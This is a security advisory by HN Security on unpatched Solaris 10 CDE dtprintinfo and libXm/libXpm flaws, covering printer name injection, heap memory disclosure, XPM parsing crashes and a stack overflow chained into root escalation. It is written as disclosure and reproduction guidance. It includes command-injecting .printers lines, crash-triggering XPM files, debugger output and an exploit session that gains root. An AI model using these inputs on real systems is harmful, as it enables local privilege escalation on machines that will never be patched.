Lucene search

K
packetstormMarco Ivaldi, github.comPACKETSTORM:170620
HistoryJan 20, 2023 - 12:00 a.m.

Solaris 10 dtprintinfo / libXm / libXpm Security Issues

2023-01-2000:00:00
Marco Ivaldi, github.com
packetstormsecurity.com
242
solaris 10
dtprintinfo
libxm
libxpm
common desktop environment
motif
x.org
security advisory
oracle solaris
vulnerability
cve
exploit
vulnerability tracking
heap memory disclosure
memory corruption
printer name injection
stack-based buffer overflow
patch
cde
local privilege escalation
fuzzer

EPSS

0.423

Percentile

97.4%

`--[ HNS-2022-01 - HN Security Advisory - https://security.humanativaspa.it/  
  
* Title: Multiple vulnerabilities in Solaris dtprintinfo and libXm/libXpm  
* Products: Common Desktop Environment 1.6, Motif 2.1, X.Org libXpm < 3.5.15  
* OS: Oracle Solaris 10 (CPU January 2021)  
* Author: Marco Ivaldi <[email protected]>  
* Date: 2023-01-18  
* Oracle vulnerability tracking numbers:  
* S1597707 - Arbitrary printer name injection  
* S1597724 - Heap memory disclosure via long printer names  
* S1597711 - Memory corruption via malformed icon files  
* S1597730 - Stack-based buffer overflow in libXm ParseColors  
* CVE IDs:  
* CVE-2022-46285 - Infinite loop on unclosed comments in X.Org libXpm  
* Advisory URLs:   
* https://github.com/hnsecurity/vulns/blob/main/HNS-2022-01-dtprintinfo.txt  
* https://lists.x.org/archives/xorg-announce/2023-January/003312.html  
* https://lists.x.org/archives/xorg-announce/2023-January/003313.html  
* Exploit URLs:  
* https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c  
  
  
--[ 0 - Table of contents  
  
1 - Summary  
2 - Vulnerabilities  
2.1 - Arbitrary printer name injection  
2.2 - Heap memory disclosure via long printer names  
2.3 - Memory corruption via malformed icon files  
2.4 - Stack-based buffer overflow in libXm ParseColors()  
3 - Analysis  
3.1 - Printer name injection and heap memory disclosure  
3.2 - Memory corruption via malformed icon files  
4 - Exploitation  
5 - Affected products  
6 - Remediation  
7 - Disclosure timeline  
8 - References  
  
  
--[ 1 - Summary  
  
"What has been will be again,  
what has been done will be done again;  
there is nothing new under the Sun."  
-- Ecclesiastes 1:9  
  
We have identified multiple security vulnerabilities that are exploitable  
via the the setuid-root dtprintinfo binary from the Common Desktop  
Environment (CDE) distributed with Oracle Solaris 10 (CPU January 2021):  
  
* A bug in the parser of the lpstat external command invoked by dtprintinfo  
to list the names of available printers allows low-privileged local users  
to inject arbitrary printer names via the $HOME/.printers file.  
  
* Printer name injection allows low-privileged local users to manipulate  
the control flow of the target program and disclose memory contents.  
Based on our analysis, this bug does not seem to be directly exploitable  
to achieve arbitrary code execution. However, we recommend treating it as  
a potential security vulnerability and fix it as such.  
  
* The ability to inject arbitrary printer names opens other attack vectors  
that otherwise would not be available on systems without configured  
printers. As an example, we discovered multiple icon parsing bugs in the  
Motif library libXm that cause memory corruption.  
  
We demonstrated the possibility to exploit one of these memory corruption  
bugs, a stack-based buffer overflow in the ParseColors() function of libXm,  
to achieve local privilege escalation to root on Solaris 10.  
  
  
--[ 2 - Vulnerabilities  
  
Following our last CDE vulnerability disclosures [1], Oracle kindly shared  
with us a copy of their then current Solaris 10 security patch set (CPU  
January 2021), so that we could install it in our lab and verify the fixes  
for the bugs we had reported.  
  
In addition to verifying these fixes, we decided to take a closer look at  
the dtprintinfo program distributed with CDE, because of its complexity and  
its impressive historical record of high-impact vulnerabilities [2]. These  
are the results of our research.  
  
  
--[ 2.1 - Arbitrary printer name injection  
  
After fruitlessly spending a few days reversing and auditing the patched  
version of dtprintinfo, we came up with the idea of using the poor man's  
fuzzer below to quickly check for the presence of flaws in the parsing of  
the $HOME/.printers file:  
  
bash-3.2$ cat /dev/urandom > ~/.printers  
^C  
  
Indeed, this led to immediate results. It turns out that it is possible to  
inject fake printers to be displayed by dtprintinfo. To do so, we need to  
craft a .printers file that contains at least one line in the following  
format:  
  
<string><space>:<\n>  
  
Where <string> can be any string, including most special characters, and  
<space> can either be a space (0x20) or a tab (0x09) character. For  
instance, the following line will inject a fake printer named "FOO":  
  
FOO :  
  
Since dtprintinfo uses printer names as arguments for some external  
commands that it invokes, it is possible to abuse this flaw to inject  
arbitrary commands. For instance, to execute an injected command when we  
double-click on a printer icon in the X11 GUI, we can craft a .printers  
file that contains lines such as the following (space and tab characters  
cannot be used in the injected command string for obvious reasons):  
  
FOO;/usr/bin/id>/tmp/pwned; :  
BAR;/usr/bin/cat</tmp/PAYLOAD; :  
  
Unfortunately for us attackers, dtprintinfo fork()s and permanently drops  
root privileges via setuid() before running external commands. Therefore,  
the injected commands are executed with regular user privileges. This means  
we can only abuse the described printer name injection bug to trigger an  
additional second-order vulnerability, if such a vulnerability exists.  
Here's a couple of ideas we have experimented with to no avail:  
  
* Use the "cat<PAYLOAD" pattern above to trigger either an integer  
overflow, a buffer overflow, or a format string bug.  
* Inject a printer name that contains a format string or a directory  
traversal payload to trigger some other bug down the line.  
  
The third obvious idea is to inject a long printer name and see what  
happens. What happened in our case is that we were able to trigger an  
out-of-bound read and disclose partial heap memory contents of our target  
setuid-root binary.  
  
  
--[ 2.2 - Heap memory disclosure via long printer names  
  
To reproduce this bug, first craft a malicious .printers file as follows  
and create a hardlink to it named .printers.new, to prevent renaming by the  
DtConfigPrinters::renameUserPrinterSelectionFile() method that gets called  
while dtprintinfo is initializing queues in DtApp::UpdateQueues():  
  
bash-3.2$ echo "FOO;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; :" > ~/.printers  
bash-3.2$ ln ~/.printers ~/.printers.new  
  
Then, trace dtprintinfo's execution via a setuid-root truss program to log  
access to interesting memory addresses:  
  
bash-3.2$ export DISPLAY=:0  
bash-3.2$ truss -fae -u '*' -u a.out /usr/dt/bin/dtprintinfo -all 2> OUT  
  
At this point, in dtprintinfo's GUI:  
  
* Select "View" > "Select Printers to Show..." from the menu.  
* Select the injected printer to be shown.  
* Click on "Apply" and then click on "OK".  
* Select "Printers" > "Exit" from the menu, closing dtprintinfo.  
  
Now, examining the .printers file modified by dtprintinfo while it was  
running, we can notice that it contains non-printable characters, which are  
in fact leaked heap memory contents. For instance:  
  
bash-3.2$ od -x ~/.printers  
0000000 615f 6c6c 5c20 460a 4f4f 413b 4141 4141  
0000020 4141 4141 4141 4141 4141 4141 4141 4141  
*  
0001000 4141 4141 4141 4141 4141 3b41 0a2c 4141  
0001020 4141 4141 4141 4141 4141 4141 4141 4141  
*  
0001400 4141 4141 4141 4141 4141 4141 4141 e948  
0001420 0810 6938 0810 0409 410a 4141 4141 4141  
^^^^^^^^^ << 0x08106938  
0001440 4141 4141 2c3b 000a  
0001447  
  
By observing the output of truss, we can find the example leaked memory  
address highlighted above:  
  
-> __0fJContainerLInnerWidgetv(0x8105ea8)  
<- __0fJContainerLInnerWidgetv() = 0x8106938  
^^^^^^^^^  
-> libXm:_XmManagerGetValuesHook(0x8106938, 0xfe6a1820, 0x8047840)  
^^^^^^^^^  
...  
-> __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec(0x8106d60, 0x8105ea8, 0x8086c3f, 0x0)  
-> __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD(0x8106d60, 0x8106938, 0xfe62bd00, 0x8106dd0)  
^^^^^^^^^  
  
By playing with different printer name lengths between 256 and 1024 bytes  
and/or clicking on "Apply" or "OK" multiple times, we can leak different  
heap memory contents.   
  
The "Set Default" button can be used to cause a similar .printers file  
corruption. In addition, instead of injecting a single long printer name,  
we can trigger the same bug by injecting a long list of regular printer  
names and selecting them to be shown in dtprintinfo's GUI.  
  
  
--[ 2.3 - Memory corruption via malformed icon files  
  
The ability to inject arbitrary printer names opens other attack vectors  
that otherwise would not be available on systems without configured  
printers. In fact, only privileged users can create or update printing  
configuration in /etc/printers.conf, usually via /usr/sbin/printmgr or  
/usr/bin/lpset.  
  
One such vector we thought that was worth exploring is the parsing of  
printer icons in the XPM format [3]. A low-privileged local user can supply  
his or her own icons for dtprintinfo to show by placing them in the  
$HOME/.dt/icons directory and selecting them in the X11 GUI. A bug in the  
XPM parser could easily lead to memory corruption and privilege escalation.  
To prove our point, we built a rudimentary mutation fuzzer written in  
Python and we unearthed a few icon parsing bugs in the libXm library  
(/usr/dt/lib/libXm.so.4) used by CDE, that was originally part of the Motif  
toolkit [4].  
  
As a starter, the following malformed icon file with an unbalanced comment  
block will crash dtprintinfo:  
  
/* XPM */  
static char * sample_xpm[] = {  
"15 19 6 1",  
" c None",  
". c #FFFFFF",  
"+ c #000000",  
"@ c #99FFCC",  
"# c #66CCCC",  
"$ c #339966",  
/* CRASH  
".+++++++++++++.",  
"+@@@@@@@@@@@@#+",  
"+@###########$+",  
"+@###....####$+",  
"+@##......###$+",  
"+@#...$$...##$+",  
"+@#..$$##..$#$+",  
"+@##$$##...$#$+",  
"+@#####...$$#$+",  
"+@####...$$##$+",  
"+@####..$$###$+",  
"+@####..$####$+",  
"+@#####$$####$+",  
"+@####..#####$+",  
"+@####..$####$+",  
"+@#####$$####$+",  
"+@###########$+",  
"+#$$$$$$$$$$$$+",  
".+++++++++++++."};  
  
To reproduce the crash, inject an arbitrary printer as described earlier  
and perform the following actions:  
  
* Craft the malformed XPM icon above in the following files in ~/.dt/icons:  
crash.l.pm  
crash.m.pm  
crash.t.pm  
* Launch dtprintinfo with proper command-line options (e.g., -all).  
* Select the injected printer, and click on "Selected" > "Properties...".  
* Click on "Find Set..." and choose "~/.dt/icons" from the drop-down menu.  
  
After a short while, dtprintinfo should segfault:  
  
Program terminated with signal 11, Segmentation fault.  
#0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4  
(gdb) x/i $pc  
0xfed322c8 <ParseComment+186>: mov (%edi),%ah  
(gdb) i r  
eax 0x8045bff 134503423  
ecx 0x80456f0 134502128  
edx 0xfe972be0 -23647264  
ebx 0xfee90000 -18284544  
esp 0x8024fbc 0x8024fbc  
ebp 0x8024fdc 0x8024fdc  
esi 0x7 7  
edi 0xfeffffff -16777217  
eip 0xfed322c8 0xfed322c8 <ParseComment+186>  
...  
(gdb) bt  
#0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4  
#1 0xfed321dc in _XmxpmNextString () from /usr/dt/lib/libXm.so.4  
#2 0xfed3392a in ParsePixels () from /usr/dt/lib/libXm.so.4  
#3 0xfed32511 in _XmxpmParseData () from /usr/dt/lib/libXm.so.4  
#4 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4  
#5 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1  
#6 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1  
#7 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()  
#8 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()  
#9 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()  
#10 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()  
#11 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()  
...  
  
At a glance, this does not look exploitable. A much better-looking crash  
can be triggered with the following malformed icon file:  
  
00000000: 2f2a 2058 504d 202a 2f0a 7374 6174 6963 /* XPM */.static  
00000010: 2063 6861 7220 2a78 6d61 6e5b 5d20 3d20 char *xman[] =  
00000020: 7b0a 2f2a 2077 6964 7468 2068 6569 6768 {./* width heigh  
00000030: 7420 6e63 6f6c 6f72 7320 6368 6172 735f t ncolors chars_  
00000040: 7065 725f 7069 7865 6c20 2a2f 0a22 3820 per_pixel */."8  
00000050: 3820 3320 3122 2c0a 2f2a 2063 6f6c 6f72 8 3 1",./* color  
00000060: 7320 2a2f 0a22 6520 6734 2062 6c61 636b s */."e g4 black  
00000070: 2063 2070 616c 6520 7475 7271 756f 6973 c pale turquois  
00000080: 6520 3422 2c0a 22fe 206d 2077 6869 7465 e 4",.". m white  
^^ << this 0xfe byte triggers the crash  
00000090: 2063 206c 6967 6874 2067 6f6c 6465 6e20 c light golden  
000000a0: 726f 6420 7965 6c6c 6f77 2067 3420 6772 rod yellow g4 gr  
000000b0: 6579 222c 0a22 6720 6720 7768 6974 6520 ey",."g g white  
000000c0: 6320 6c65 6d6f 6e20 6368 6966 666f 6e20 c lemon chiffon  
000000d0: 6d20 626c 6163 6b22 2c0a 2f2a 2070 6978 m black",./* pix  
000000e0: 656c 7320 2a2f 0a22 6565 6565 6565 6565 els */."eeeeeeee  
000000f0: 222c 0a22 6666 6666 6666 6666 222c 0a22 ",."ffffffff",."  
00000100: 6767 6767 6767 6767 222c 0a22 6767 6767 gggggggg",."gggg  
00000110: 6767 6767 220a 7d3b 0a gggg".};.  
  
Program terminated with signal 11, Segmentation fault.  
#0 0x027efed3 in ?? ()  
(gdb) i r  
eax 0xfe634c80 -27046784  
ecx 0x3 3  
edx 0x0 0  
ebx 0xfee90002 -18284542  
esp 0x8045668 0x8045668  
ebp 0x80456d0 0x80456d0  
esi 0x80460d0 134504656  
edi 0x80456f0 134502128  
eip 0x27efed3 0x27efed3  
...  
#0 0x027efed3 in ?? ()  
#1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4  
#2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4  
#3 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1  
#4 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1  
#5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()  
#6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()  
#7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()  
#8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()  
#9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()  
  
It looks like we have at least partial control over the eip register! A  
promising crash indeed... An interesting variation that can help shed light  
on the reasons of this crash can be obtained by replacing the 0xfe byte  
with 0xff:  
  
Program terminated with signal 11, Segmentation fault.  
#0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4  
(gdb) x/i $pc  
0xfed20268 <_XmxpmFreeColorTable@plt>: jmp *0x19ec(%ebx)  
(gdb) i r  
eax 0xfe62d680 -27076992  
ecx 0x3 3  
edx 0x0 0  
ebx 0x20000 131072  
esp 0x8045668 0x8045668  
ebp 0x80456d0 0x80456d0  
esi 0x80460d0 134504656  
edi 0x80456f0 134502128  
eip 0xfed20268 0xfed20268 <_XmxpmFreeColorTable@plt>  
...  
#0 0xfed20268 in _XmxpmFreeColorTable@plt () from /usr/dt/lib/libXm.so.4  
#1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4  
#2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4  
#3 0xfeef9ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1  
#4 0xfeef9b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1  
#5 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD ()  
#6 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec ()  
#7 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec ()  
#8 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT ()  
#9 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT ()  
  
Based on our quick analysis, ebx gets corrupted in ParsePixels() and then  
its value is used to calculate a jump location by code in the .plt section.  
We have not deeply investigated these instances of memory corruption and we  
have not seriously fuzzed libXm's XPM parser. We would like to leave  
further exploration of this attack vector, as well as any vulnerabilities  
in other libraries used by dtprintinfo, as an exercise for you, dear  
readers. ;)  
  
  
--[ 2.4 - Stack-based buffer overflow in libXm ParseColors()  
  
After our brief but intense artisanal fuzzing experience, before giving up  
on dtprintinfo and going for some fancier target, it was time to go back to  
static analysis for a short while, specifically targeting the apparently  
weak libXm library.  
  
We fired up our Rhabdomancer Ghidra script [5] to quickly find locations in  
the library where unsafe API functions are called, using them as starting  
points for our binary audit. Among some interesting candidate points, the  
following one stood up, in the familiar ParseColors() function that we had  
already encountered while analyzing the crashes produced by our XPM fuzzer:  
  
int ParseColors(int *data, uint ncolors, uint cpp, undefined4  
*colorTablePtr, undefined4 hashtable)  
{  
...  
char local_83c[1024];  
char local_43c[1024];  
...  
local_c = _XmxpmNextWord(local_34, local_83c, 0x400);  
...  
local_83c[local_c] = '\0';  
strcat(local_43c, local_83c); /* VULN */  
}  
  
A perfect specimen of stack-based buffer overflow! We have found yet  
another memory corruption bug in the parsing of printer icons in the XPM  
format. This one has a high likelihood of being exploitable to achieve  
arbitrary code execution and local privilege escalation.  
  
  
--[ 3 - Analysis  
  
Let's briefly analyze what causes the identified vulnerabilities.  
  
  
--[ 3.1 - Printer name injection and heap memory disclosure  
  
The arbitrary printer name injection and heap memory disclosure bugs have  
the following root causes:  
  
* The /usr/bin/lpstat external command invoked by dtprintinfo to list the  
names of available printers has a flawed parser, which allows  
low-privileged local users to inject arbitrary printer names in the  
user-controllable $HOME/.printers file:  
  
bash-3.2$ cat ~/.printers  
FOO;AAA; :  
bash-3.2$ lpstat -v  
system for FOO;AAA;: (null) (as lpd://(null)/printers/)  
  
From our point of view, this in itself is not a big deal. Since lpstat is  
executed after dropping privileges, we could in theory inject our own  
code into this process anyway and control its behavior. For this reason,  
we have not investigated lpstat any further. The real problem here is  
architectural: dtprintinfo's functionality should be self-contained and  
should not depend on external programs. This is not a robust design and  
has led to more impactful vulnerabilities in the past [6].  
  
* The dtprintinfo program blindly trusts the output of lpstat without  
validating it. This allows low-privileged local users to craft  
potentially dangerous inputs (such as printer names that are expected to  
be in a consistent format), thus altering its behavior.  
  
* Finally, the DtConfigPrinters::UpdateMainPrtList() method called by the  
DtConfigPrinters::ApplyCB() and DtConfigPrinters::OkCB() callback  
methods, when updating the .printers file, writes some additional bytes  
after the actual printer names, thus corrupting the file contents. This  
is caused by the fact that the DtConfigPrinters::readContinuedLine()  
method called by DtConfigPrinters::UpdateMainPrtList() does not terminate  
the returned buffer if it reads a line longer than 256 bytes that does  
not contain a '\n' character. This non-terminated, heap-allocated buffer  
is later passed to fprintf(), which then writes some characters that  
reside past the logical end of the buffer to the .printers file, until a  
NUL byte is found. This is how we get the observed memory disclosure.  
  
Based on our analysis, the described memory disclosure bug does not seem to  
be directly exploitable to achieve arbitrary code execution and local  
privilege escalation. However, as usual, feel free to prove us wrong! All  
considered, we recommend treating this bug as a potential security  
vulnerability and fixing it as such.  
  
  
--[ 3.2 - Memory corruption via malformed icon files  
  
The stack-based buffer overflow in the ParseColors() function of libXm is  
caused by the unchecked use of the unsafe API function strcat(). This  
vulnerability can be triggered via a specially crafted XPM icon with long  
color strings.  
  
We have not spent much time analyzing the root causes of the crashes  
reported by our XPM fuzzer. We recommend extensively auditing and fuzzing  
libXm and the other libraries distributed with CDE that are used by  
privileged programs. A quick manual audit and a few runs of our rudimentary  
mutation fuzzer were enough to discover some shallow and dangerous memory  
corruption bugs in the XPM parser. We expect more bugs to be present in  
such ancient code.  
  
  
--[ 4 - Exploitation  
  
We have created a proof-of-concept exploit [7] that chains together the  
printer name injection bug and the stack-based buffer overflow we have  
identified in libXm. It allows a low-privileged local user to escalate his  
or her privileges to those of the root user on Intel-based Solaris 10  
systems with the latest patches installed (tested on CPU January 2021).  
  
The exploit code is extensively commented and should be self-explanatory.  
An example attack session follows:  
  
$ uname -a  
SunOS nostalgia 5.10 Generic_153154-01 i86pc i386 i86pc  
$ id  
uid=54322(raptor) gid=1(other)  
$ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall  
$ ./raptor_dtprintlibXmas 10.0.0.109:0  
raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE  
Copyright (c) 2023 Marco Ivaldi <[email protected]>  
  
Using SI_PLATFORM : i86pc (5.10)  
Using stack base : 0x8047fff  
Using safe address : 0x8045790  
Using rwx_mem address : 0xfeffa004  
Using sc address : 0x8047fac  
Using sprintf() address : 0xfefd1250  
Path of target binary : /usr/dt/bin/dtprintinfo  
  
# id  
uid=0(root) gid=1(other)  
  
Our exploit uses dtprintinfo as an attack vector to abuse one of the  
vulnerabilities we discovered in libXm and escalate privileges to root.  
Other vectors are potentially available to local and remote attackers, such  
as other setuid or setgid binaries, daemons, and client applications that  
use of the vulnerable library. As an example, the dticon application has  
been confirmed to be affected by our stack-based buffer overflow.  
  
  
--[ 5 - Affected products  
  
The Common Desktop Environment 1.6 and Motif 2.1 distributed with Oracle  
Solaris 10 are affected by the vulnerabilities discussed in this advisory.  
All tests were conducted on the following Solaris 10 system, patched with  
CPU January 2021:  
  
bash-3.2$ showrev -a  
Hostname: nostalgia  
Hostid: 367f0939  
Release: 5.10  
Kernel architecture: i86pc  
Application architecture: i386  
Kernel version: SunOS 5.10 Generic_153154-01  
OpenWindows version: Solaris X11 Version 6.6.2 14 August 2019  
...  
  
Solaris 10 for the SPARC architecture and older versions of the Solaris  
operating system are also likely vulnerable.   
  
Oracle Solaris 11.4 does not ship CDE or Motif by default. In addition, in  
the xpmParseColors() function of the libXpm library shipped with Solaris  
11.4, calls to the unsafe strcat() API function were replaced with calls to  
strlcat(), which if used properly prevents buffer overflows. Solaris 11.4  
in its default configuration and libXpm are only affected by the first  
crash we identified, caused by an unbalanced comment block. Please note  
that we have not conducted an audit on libXpm, which may contain other  
bugs.  
  
CDE 2.5.1 [8] is the latest version (at the time of this writing) of the  
open-source fork of the Common Desktop Environment. Following our previous  
vulnerability disclosures, their dtprintinfo binary is not installed  
setuid-root anymore. Therefore, CDE 2.5.1 is not directly affected by the  
vulnerabilities discussed in this advisory. Please note that we have not  
conducted an audit on the open-source CDE's codebase, which may contain  
other bugs.  
  
Motif 2.3.8 [9] is the latest version (at the time of this writing) of the  
open-source Motif project that includes the libXm library. In the  
xpmParseColors() function, calls to the unsafe strcat() API function were  
replaced with calls to the STRLCAT() macro, which if used properly prevents  
buffer overflows. Therefore, Motif 2.3.8 is not affected by the  
vulnerabilities discussed in this advisory. Please note that we have not  
conducted an audit on Motif's codebase, which may contain other bugs.  
  
  
--[ 6 - Remediation  
  
Oracle assigned the following tracking numbers to our vulnerability  
reports:  
  
* S1597707 - Arbitrary printer name injection  
* S1597724 - Heap memory disclosure via long printer names  
* S1597711 - Memory corruption via malformed icon files  
* S1597730 - Stack-based buffer overflow in libXm ParseColors  
  
No fixes have been issued for Solaris 10. See the disclosure timeline below  
for further details.  
  
As a partial workaround, it is possible to remove the setuid bit from the  
dtprintinfo binary as follows (note that this might prevent it from working  
properly):  
  
bash-3.2# chmod -s /usr/dt/bin/dtprintinfo  
  
  
--[ 7 - Disclosure timeline  
  
2022-01-18: Oracle was notified via <[email protected]>.  
2022-01-19: Oracle acknowledged our vulnerability reports.  
2022-04-20: Asked Oracle to provide an update on the patch release date.  
2022-04-21: Oracle replied they could not comment on the patch release  
date.   
2022-09-03: Asked Oracle for an update and informed them of our plan to  
publish a detailed advisory and a blog post before the end of  
2022.  
2022-09-12: Oracle replied they are working on the bugs and will be able to  
give an update closer to the next CPU, scheduled for October.  
2022-10-18: Oracle informed us that the vulnerabilities will be fixed in  
their CPU of January 2023.  
2022-12-20: With a surprise move, Oracle informed us that Solaris 10  
desktop components have reached EOL and are no longer  
supported. Therefore, Oracle will not be releasing patches for  
bugs affecting Solaris 10. They will work with X.Org to get a  
fix and an advisory released upstream for the first crash we  
identified in libXm, which also affects X.Org libXpm. This  
denial of service bug will be fixed in Solaris 11.4. As a final  
note, it appears that the buffer overflows we discovered in  
ParsePixels() and ParseColors() were already reported by Chris  
Evans in 2004 and tracked as CVE-2004-0687  
(https://security.appspot.com/security/CESA-2004-003.txt). Due  
to an incomplete fix, they were not patched in Solaris 10 and  
have survived in the code for 19 years! Since no patches for  
Solaris 10 will be released, these issues have officially  
become #ForeverDay bugs.  
2023-01-17: X.Org released libXpm 3.5.15, which fixes CVE-2022-46285  
(infinite loop on unclosed comments in X.Org libXpm). Oracle  
published their CPU January 2023, which unfortunately does not  
include fixes for our bugs that affect Solaris 10.  
2023-01-18: Oracle informed us that Solaris 10 desktop components have  
reached EOL at the end of 2019. EOL is documented in support  
note 1400676.1, behind the paywall for Oracle's customers with  
current support contracts. HN Security published this advisory  
and a local privilege escalation exploit.  
  
  
--[ 8 - References  
  
[1] https://github.com/0xdea/raptor_infiltrate20  
[2] https://www.exploit-db.com/search?q=dtprintinfo  
[3] https://www.xfree86.org/current/xpm.pdf  
[4] http://www.opengroup.org/desktop/motif.html  
[5] https://github.com/0xdea/ghidra-scripts/blob/main/Rhabdomancer.java  
[6] https://github.com/0xdea/raptor_infiltrate19  
[7] https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c  
[8] https://sourceforge.net/projects/cdesktopenv/  
[9] https://sourceforge.net/projects/motif/  
  
  
Copyright (c) 2023 Marco Ivaldi and Humanativa Group. All rights reserved.  
`